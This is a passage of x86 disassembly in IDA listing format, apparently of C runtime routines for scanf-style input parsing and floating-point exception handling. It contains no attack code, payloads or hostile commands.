jle short loc_420E74
push 4
push ebx
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_420E7F
; ---------------------------------------------------------------------------
loc_420E74: ; CODE XREF: sub_420BB0+2B6j
mov eax, off_43F618
mov al, [eax+ebx*2]
and eax, 4
loc_420E7F: ; CODE XREF: sub_420BB0+2C2j
test eax, eax
jz short loc_420EA4
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420EA4
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42160C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420E5F
; ---------------------------------------------------------------------------
loc_420EA4: ; CODE XREF: sub_420BB0+2D1j
; sub_420BB0+2DBj
cmp byte_43F828, bl
jnz short loc_420F12
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420F12
inc [ebp+var_4]
push edi
call sub_42160C
mov ebx, eax
mov al, byte_43F828
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_420ECD: ; CODE XREF: sub_420BB0+360j
cmp dword_43F824, 1
jle short loc_420EE2
push 4
push ebx
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_420EED
; ---------------------------------------------------------------------------
loc_420EE2: ; CODE XREF: sub_420BB0+324j
mov eax, off_43F618
mov al, [eax+ebx*2]
and eax, 4
loc_420EED: ; CODE XREF: sub_420BB0+330j
test eax, eax
jz short loc_420F12
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420F12
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42160C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420ECD
; ---------------------------------------------------------------------------
loc_420F12: ; CODE XREF: sub_420BB0+2FAj
; sub_420BB0+304j ...
cmp [ebp+var_1C], 0
jz loc_420FAA
cmp ebx, 65h
jz short loc_420F2A
cmp ebx, 45h
jnz loc_420FAA
loc_420F2A: ; CODE XREF: sub_420BB0+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420FAA
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_42160C
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_420F51
mov [esi], al
inc esi
jmp short loc_420F56
; ---------------------------------------------------------------------------
loc_420F51: ; CODE XREF: sub_420BB0+39Aj
cmp ebx, 2Bh
jnz short loc_420F74
loc_420F56: ; CODE XREF: sub_420BB0+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_420F65
and [ebp+var_C], eax
jmp short loc_420F74
; ---------------------------------------------------------------------------
loc_420F65: ; CODE XREF: sub_420BB0+3AEj
; sub_420BB0+3F8j
inc [ebp+var_4]
push edi
call sub_42160C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420F74: ; CODE XREF: sub_420BB0+3A4j
; sub_420BB0+3B3j
cmp dword_43F824, 1
jle short loc_420F89
push 4
push ebx
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_420F94
; ---------------------------------------------------------------------------
loc_420F89: ; CODE XREF: sub_420BB0+3CBj
mov eax, off_43F618
mov al, [eax+ebx*2]
and eax, 4
loc_420F94: ; CODE XREF: sub_420BB0+3D7j
test eax, eax
jz short loc_420FAA
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420FAA
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_420F65
; ---------------------------------------------------------------------------
loc_420FAA: ; CODE XREF: sub_420BB0+366j
; sub_420BB0+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_421626
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_4215B6
cmp [ebp+var_E], 0
jnz loc_421517
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43FBC8
add esp, 0Ch
jmp loc_421517
; ---------------------------------------------------------------------------
loc_420FEE: ; CODE XREF: sub_420BB0+20Cj
cmp [ebp+var_20], eax
jnz short loc_420FFD
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_420FFD: ; CODE XREF: sub_420BB0+441j
cmp [ebp+var_5], 0
jle short loc_421007
mov [ebp+var_16], 1
loc_421007: ; CODE XREF: sub_420BB0+451j
mov edi, offset dword_43FAA0
jmp loc_42111C
; ---------------------------------------------------------------------------
loc_421011: ; CODE XREF: sub_420BB0+1FDj
mov eax, esi
sub eax, 70h
jz loc_4212BF
sub eax, 3
jz loc_42110D
dec eax
dec eax
jz loc_4212C3
sub eax, 3
jz loc_420DF9
sub eax, 3
jz short loc_42105F
loc_42103B: ; CODE XREF: sub_420BB0+21Bj
; sub_420BB0+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_421586
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_421517
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_421517
; ---------------------------------------------------------------------------
loc_42105F: ; CODE XREF: sub_420BB0+489j
cmp [ebp+var_5], 0
jle short loc_421069
mov [ebp+var_16], 1
loc_421069: ; CODE XREF: sub_420BB0+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_421120
mov eax, edi
lea edi, [eax+1]
jmp loc_42111C
; ---------------------------------------------------------------------------
loc_421083: ; CODE XREF: sub_420BB0+24Fj
cmp ebx, 2Bh
jnz short loc_4210AA
loc_421088: ; CODE XREF: sub_420BB0+259j
dec [ebp+var_C]
jnz short loc_421099
cmp [ebp+var_20], 0
jz short loc_421099
mov [ebp+var_F], 1
jmp short loc_4210AA
; ---------------------------------------------------------------------------
loc_421099: ; CODE XREF: sub_420BB0+4DBj
; sub_420BB0+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42160C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4210AA: ; CODE XREF: sub_420BB0+4D6j
; sub_420BB0+4E7j
cmp ebx, 30h
jnz loc_4212F8
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42160C
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_4210F8
cmp bl, 58h
jz short loc_4210F8
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_4210E2
push 6Fh
loc_4210DC: ; CODE XREF: sub_420BB0+55Bj
pop esi
jmp loc_4212F8
; ---------------------------------------------------------------------------
loc_4210E2: ; CODE XREF: sub_420BB0+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421626
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_4212F5
; ---------------------------------------------------------------------------
loc_4210F8: ; CODE XREF: sub_420BB0+517j
; sub_420BB0+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42160C
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_4210DC
; ---------------------------------------------------------------------------
loc_42110D: ; CODE XREF: sub_420BB0+46Fj
cmp [ebp+var_5], 0
jle short loc_421117
mov [ebp+var_16], 1
loc_421117: ; CODE XREF: sub_420BB0+561j
mov edi, offset dword_43FA98
loc_42111C: ; CODE XREF: sub_420BB0+45Cj
; sub_420BB0+4CEj
or [ebp+var_18], 0FFh
loc_421120: ; CODE XREF: sub_420BB0+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41BC00
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_421144
cmp byte ptr [edi], 5Dh
jnz short loc_421144
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_421147
; ---------------------------------------------------------------------------
loc_421144: ; CODE XREF: sub_420BB0+584j
; sub_420BB0+589j
mov dl, [ebp+var_35]
loc_421147: ; CODE XREF: sub_420BB0+592j
; sub_420BB0+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_4211AC
inc edi
cmp al, 2Dh
jnz short loc_421193
test dl, dl
jz short loc_421193
mov cl, [edi]
cmp cl, 5Dh
jz short loc_421193
inc edi
cmp dl, cl
jnb short loc_421166
mov al, cl
jmp short loc_42116A
; ---------------------------------------------------------------------------
loc_421166: ; CODE XREF: sub_420BB0+5B0j
mov al, dl
mov dl, cl
loc_42116A: ; CODE XREF: sub_420BB0+5B4j
cmp dl, al
ja short loc_42118F
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_421177: ; CODE XREF: sub_420BB0+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_421177
loc_42118F: ; CODE XREF: sub_420BB0+5BCj
xor dl, dl
jmp short loc_421147
; ---------------------------------------------------------------------------
loc_421193: ; CODE XREF: sub_420BB0+5A0j
; sub_420BB0+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_421147
; ---------------------------------------------------------------------------
loc_4211AC: ; CODE XREF: sub_420BB0+59Bj
cmp byte ptr [edi], 0
jz loc_4215B6
cmp [ebp+var_3C], 7Bh
jnz short loc_4211BE
mov [ebp+arg_4], edi
loc_4211BE: ; CODE XREF: sub_420BB0+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_421626
pop ecx
pop ecx
loc_4211D5: ; CODE XREF: sub_420BB0+6BCj
; sub_420BB0+6C4j
cmp [ebp+var_20], 0
jz short loc_4211E9
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_421285
loc_4211E9: ; CODE XREF: sub_420BB0+629j
inc [ebp+var_4]
push edi
call sub_42160C
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_421279
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_421279
cmp [ebp+var_E], 0
jnz short loc_421271
cmp [ebp+var_16], 0
jz short loc_421266
mov ecx, off_43F618
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_421245
inc [ebp+var_4]
push edi
call sub_42160C
pop ecx
mov [ebp+var_37], al
loc_421245: ; CODE XREF: sub_420BB0+686j
push dword_43F824
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_42458B
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_421269
; ---------------------------------------------------------------------------
loc_421266: ; CODE XREF: sub_420BB0+673j
mov [esi], al
inc esi
loc_421269: ; CODE XREF: sub_420BB0+6B4j
mov [ebp+var_2C], esi
jmp loc_4211D5
; ---------------------------------------------------------------------------
loc_421271: ; CODE XREF: sub_420BB0+66Dj
inc [ebp+var_30]
jmp loc_4211D5
; ---------------------------------------------------------------------------
loc_421279: ; CODE XREF: sub_420BB0+649j
; sub_420BB0+667j
dec [ebp+var_4]
push edi
push eax
call sub_421626
pop ecx
pop ecx
loc_421285: ; CODE XREF: sub_420BB0+633j
cmp [ebp+var_30], esi
jz loc_4215B6
cmp [ebp+var_E], 0
jnz loc_421517
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_421517
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_4212B7
and word ptr [eax], 0
jmp loc_421517
; ---------------------------------------------------------------------------
loc_4212B7: ; CODE XREF: sub_420BB0+6FCj
and byte ptr [eax], 0
jmp loc_421517
; ---------------------------------------------------------------------------
loc_4212BF: ; CODE XREF: sub_420BB0+466j
mov [ebp+var_D], 1
loc_4212C3: ; CODE XREF: sub_420BB0+203j
; sub_420BB0+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_4212D1
mov [ebp+var_17], 1
jmp short loc_4212D6
; ---------------------------------------------------------------------------
loc_4212D1: ; CODE XREF: sub_420BB0+719j
cmp ebx, 2Bh
jnz short loc_4212F8
loc_4212D6: ; CODE XREF: sub_420BB0+71Fj
dec [ebp+var_C]
jnz short loc_4212E7
cmp [ebp+var_20], 0
jz short loc_4212E7
mov [ebp+var_F], 1
jmp short loc_4212F8
; ---------------------------------------------------------------------------
loc_4212E7: ; CODE XREF: sub_420BB0+729j
; sub_420BB0+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42160C
pop ecx
mov ebx, eax
loc_4212F5: ; CODE XREF: sub_420BB0+543j
mov [ebp+var_14], ebx
loc_4212F8: ; CODE XREF: sub_420BB0+4FDj
; sub_420BB0+52Dj ...
cmp [ebp+var_30], 0
jz loc_421411
cmp [ebp+var_F], 0
jnz loc_4213EF
loc_42130C: ; CODE XREF: sub_420BB0+82Cj
cmp esi, 78h
jnz short loc_421360
cmp dword_43F824, 1
jle short loc_421329
push 80h
push ebx
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_421336
; ---------------------------------------------------------------------------
loc_421329: ; CODE XREF: sub_420BB0+768j
mov eax, off_43F618
mov al, [eax+ebx*2]
and eax, 80h
loc_421336: ; CODE XREF: sub_420BB0+777j
test eax, eax
jz loc_4213E1
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_424660
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_4215D5
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4213B3
; ---------------------------------------------------------------------------
loc_421360: ; CODE XREF: sub_420BB0+75Fj
cmp dword_43F824, 1
jle short loc_421375
push 4
push ebx
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_421380
; ---------------------------------------------------------------------------
loc_421375: ; CODE XREF: sub_420BB0+7B7j
mov eax, off_43F618
mov al, [eax+ebx*2]
and eax, 4
loc_421380: ; CODE XREF: sub_420BB0+7C3j
test eax, eax
jz short loc_4213E1
cmp esi, 6Fh
jnz short loc_42139E
cmp ebx, 38h
jge short loc_4213E1
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_424660
jmp short loc_4213AD
; ---------------------------------------------------------------------------
loc_42139E: ; CODE XREF: sub_420BB0+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41D920
loc_4213AD: ; CODE XREF: sub_420BB0+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_4213B3: ; CODE XREF: sub_420BB0+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_4213CB
dec [ebp+var_C]
jz short loc_4213EF
loc_4213CB: ; CODE XREF: sub_420BB0+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42160C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42130C
; ---------------------------------------------------------------------------
loc_4213E1: ; CODE XREF: sub_420BB0+788j
; sub_420BB0+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421626
pop ecx
pop ecx
loc_4213EF: ; CODE XREF: sub_420BB0+756j
; sub_420BB0+819j
cmp [ebp+var_17], 0
jz loc_4214D5
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_4214D5
; ---------------------------------------------------------------------------
loc_421411: ; CODE XREF: sub_420BB0+74Cj
cmp [ebp+var_F], 0
jnz loc_4214CD
loc_42141B: ; CODE XREF: sub_420BB0+90Aj
cmp esi, 78h
jz short loc_42145F
cmp esi, 70h
jz short loc_42145F
cmp dword_43F824, 1
jle short loc_42143A
push 4
push ebx
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_421445
; ---------------------------------------------------------------------------
loc_42143A: ; CODE XREF: sub_420BB0+87Cj
mov eax, off_43F618
mov al, [eax+ebx*2]
and eax, 4
loc_421445: ; CODE XREF: sub_420BB0+888j
test eax, eax
jz short loc_4214BF
cmp esi, 6Fh
jnz short loc_421458
cmp ebx, 38h
jge short loc_4214BF
shl edi, 3
jmp short loc_421497
; ---------------------------------------------------------------------------
loc_421458: ; CODE XREF: sub_420BB0+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_421497
; ---------------------------------------------------------------------------
loc_42145F: ; CODE XREF: sub_420BB0+86Ej
; sub_420BB0+873j
cmp dword_43F824, 1
jle short loc_421477
push 80h
push ebx
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_421484
; ---------------------------------------------------------------------------
loc_421477: ; CODE XREF: sub_420BB0+8B6j
mov eax, off_43F618
mov al, [eax+ebx*2]
and eax, 80h
loc_421484: ; CODE XREF: sub_420BB0+8C5j
test eax, eax
jz short loc_4214BF
push ebx
shl edi, 4
call sub_4215D5
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_421497: ; CODE XREF: sub_420BB0+8A6j
; sub_420BB0+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_4214A9
dec [ebp+var_C]
jz short loc_4214CD
loc_4214A9: ; CODE XREF: sub_420BB0+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42160C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42141B
; ---------------------------------------------------------------------------
loc_4214BF: ; CODE XREF: sub_420BB0+897j
; sub_420BB0+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421626
pop ecx
pop ecx
loc_4214CD: ; CODE XREF: sub_420BB0+865j
; sub_420BB0+8F7j
cmp [ebp+var_17], 0
jz short loc_4214D5
neg edi
loc_4214D5: ; CODE XREF: sub_420BB0+843j
; sub_420BB0+85Cj ...
cmp esi, 46h
jnz short loc_4214DE
and [ebp+var_1C], 0
loc_4214DE: ; CODE XREF: sub_420BB0+928j
cmp [ebp+var_1C], 0
jz loc_4215B6
cmp [ebp+var_E], 0
jnz short loc_421517
inc [ebp+var_34]
loc_4214F1: ; CODE XREF: sub_420BB0+23Bj
cmp [ebp+var_30], 0
jz short loc_421507
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_421517
; ---------------------------------------------------------------------------
loc_421507: ; CODE XREF: sub_420BB0+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_421514
mov [eax], edi
jmp short loc_421517
; ---------------------------------------------------------------------------
loc_421514: ; CODE XREF: sub_420BB0+95Ej
mov [eax], di
loc_421517: ; CODE XREF: sub_420BB0+241j
; sub_420BB0+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_421564
; ---------------------------------------------------------------------------
loc_421522: ; CODE XREF: sub_420BB0+93j
inc [ebp+var_4]
push edi
call sub_42160C
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_421591
mov ecx, off_43F618
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_421564
inc [ebp+var_4]
push edi
call sub_42160C
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_42159F
dec [ebp+var_4]
loc_421564: ; CODE XREF: sub_420BB0+970j
; sub_420BB0+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_42157A
cmp byte ptr [esi], 25h
jnz short loc_4215BC
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_4215BC
mov esi, eax
loc_42157A: ; CODE XREF: sub_420BB0+9B8j
mov al, [esi]
test al, al
jnz loc_420BDA
jmp short loc_4215B6
; ---------------------------------------------------------------------------
loc_421586: ; CODE XREF: sub_420BB0+1F4j
; sub_420BB0+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_421596
; ---------------------------------------------------------------------------
loc_421591: ; CODE XREF: sub_420BB0+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_421596: ; CODE XREF: sub_420BB0+9DFj
call sub_421626
pop ecx
pop ecx
jmp short loc_4215B6
; ---------------------------------------------------------------------------
loc_42159F: ; CODE XREF: sub_420BB0+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_421626
dec [ebp+var_4]
push edi
push ebx
call sub_421626
add esp, 10h
loc_4215B6: ; CODE XREF: sub_420BB0+1Fj
; sub_420BB0+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_4215CD
loc_4215BC: ; CODE XREF: sub_420BB0+9BDj
; sub_420BB0+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_4215D0
cmp [ebp+var_15], al
jnz short loc_4215D0
or eax, 0FFFFFFFFh
jmp short loc_4215D0
; ---------------------------------------------------------------------------
loc_4215CD: ; CODE XREF: sub_420BB0+A0Aj
mov eax, [ebp+var_34]
loc_4215D0: ; CODE XREF: sub_420BB0+A11j
; sub_420BB0+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420BB0 endp
; =============== S U B R O U T I N E =======================================
sub_4215D5 proc near ; CODE XREF: sub_420BB0+7A3p
; sub_420BB0+8DCp
arg_0 = dword ptr 4
cmp dword_43F824, 1
push esi
jle short loc_4215EF
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_4215FE
; ---------------------------------------------------------------------------
loc_4215EF: ; CODE XREF: sub_4215D5+8j
mov esi, [esp+4+arg_0]
mov eax, off_43F618
mov al, [eax+esi*2]
and eax, 4
loc_4215FE: ; CODE XREF: sub_4215D5+18j
test eax, eax
jnz short loc_421608
and esi, 0FFFFFFDFh
sub esi, 7
loc_421608: ; CODE XREF: sub_4215D5+2Bj
mov eax, esi
pop esi
retn
sub_4215D5 endp
; =============== S U B R O U T I N E =======================================
sub_42160C proc near ; CODE XREF: sub_420BB0+1E1p
; sub_420BB0+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_42161E
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_42161E: ; CODE XREF: sub_42160C+7j
push edx
call sub_41F6E3
pop ecx
retn
sub_42160C endp
; =============== S U B R O U T I N E =======================================
sub_421626 proc near ; CODE XREF: sub_420BB0+6Bp
; sub_420BB0+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_42163C
push [esp+arg_4]
push [esp+4+arg_0]
call sub_42467F
pop ecx
pop ecx
locret_42163C: ; CODE XREF: sub_421626+5j
retn
sub_421626 endp
; =============== S U B R O U T I N E =======================================
sub_42163D proc near ; CODE XREF: sub_420BB0+63p
; sub_420BB0+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_421643: ; CODE XREF: sub_42163D+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_42160C
mov edi, eax
push edi
call sub_41DD10
pop ecx
test eax, eax
pop ecx
jnz short loc_421643
mov eax, edi
pop edi
pop esi
retn
sub_42163D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_421661(int,int,double,int)
sub_421661 proc near ; CODE XREF: sub_41CCE5+51p
; sub_41CE2B+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43FF90, 0
jnz short loc_421696
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_421C16
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421696: ; CODE XREF: sub_421661+Aj
push 0FFFFh
mov dword_4DE5C4, 21h
push [ebp+arg_C]
call sub_421E89
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_421661 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4216B4(int,int,double,double,int)
sub_4216B4 proc near ; CODE XREF: sub_41CCE5:loc_41CDA8p
; sub_41CE2B:loc_41CEEEp
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_4219FF
add esp, 0Ch
test eax, eax
jnz short loc_4216F2
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_42174C
add esp, 18h
loc_4216F2: ; CODE XREF: sub_4216B4+1Aj
push [ebp+arg_0]
call sub_421CE9
cmp dword_43FF90, 0
pop ecx
jnz short loc_421730
test eax, eax
jz short loc_421730
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_421C16
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_421730: ; CODE XREF: sub_4216B4+4Ej
; sub_4216B4+52j
push eax
call sub_421C9E
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_421E89
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_4216B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42174C proc near ; CODE XREF: sub_4216B4+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_42177E
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_42177E: ; CODE XREF: sub_42174C+23j
test cl, 2
jz short loc_421791
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_421791: ; CODE XREF: sub_42174C+35j
test cl, bl
jz short loc_4217A3
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_4217A3: ; CODE XREF: sub_42174C+47j
test cl, 4
jz short loc_4217B6
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_4217B6: ; CODE XREF: sub_42174C+5Aj
test cl, 8
jz short loc_4217C9
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_4217C9: ; CODE XREF: sub_42174C+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_421E6C
test al, bl
jz short loc_421852
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_421852: ; CODE XREF: sub_42174C+FDj
test al, 4
jz short loc_42185D
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_42185D: ; CODE XREF: sub_42174C+108j
test al, 8
jz short loc_421868
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
